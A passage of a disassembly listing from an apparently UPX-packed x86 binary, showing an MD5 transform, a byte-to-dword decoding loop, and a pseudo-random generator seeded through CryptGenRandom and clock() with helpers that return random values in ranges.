		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]


loc_41005C:				; DATA XREF: UPX1:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------


loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: UPX0:004168D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_417024	; CryptAcquireContextA
		push	offset dword_41EBAC
		push	4
		push	[ebp+var_4]
		call	ds:dword_417020	; CryptGenRandom
		push	offset dword_41EBB0
		push	4
		push	[ebp+var_4]
		call	ds:dword_417020	; CryptGenRandom
		push	offset dword_41EBB4
		push	4
		push	[ebp+var_4]
		call	ds:dword_417020	; CryptGenRandom
		push	offset dword_41EBB8
		push	4
		push	[ebp+var_4]
		call	ds:dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	ds:dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd ds:dword_41EBAC, eax
		add	eax, ebx
		lock xadd ds:dword_41EBB0, eax
		add	eax, ecx
		lock xadd ds:dword_41EBB4, eax
		add	eax, edx
		lock xadd ds:dword_41EBB8, eax
		add	eax, esi
		lock xadd ds:dword_41EBAC, eax
		add	eax, edi
		lock xadd ds:dword_41EBB0, eax
		add	eax, ebp
		lock xadd ds:dword_41EBB4, eax
		add	eax, esp
		lock xadd ds:dword_41EBB8, eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd ds:dword_41EBAC, eax
		lock xadd ds:dword_41EBB0, eax
		lock xadd ds:dword_41EBB4, eax
		lock xadd ds:dword_41EBB8, eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd ds:dword_41EBB4, ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd ds:dword_41EBB0, ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd ds:dword_41EBAC, edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd ds:dword_41EBB8, edx
		lock xadd ds:dword_41EBB4, ecx
		lock xadd ds:dword_41EBB0, ebx
		lock xadd ds:dword_41EBAC, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd ds:dword_41EBB8, eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd ds:dword_41EBB8, eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd ds:dword_41EBB4, eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd ds:dword_41EBB0, eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd ds:dword_41EBAC, eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
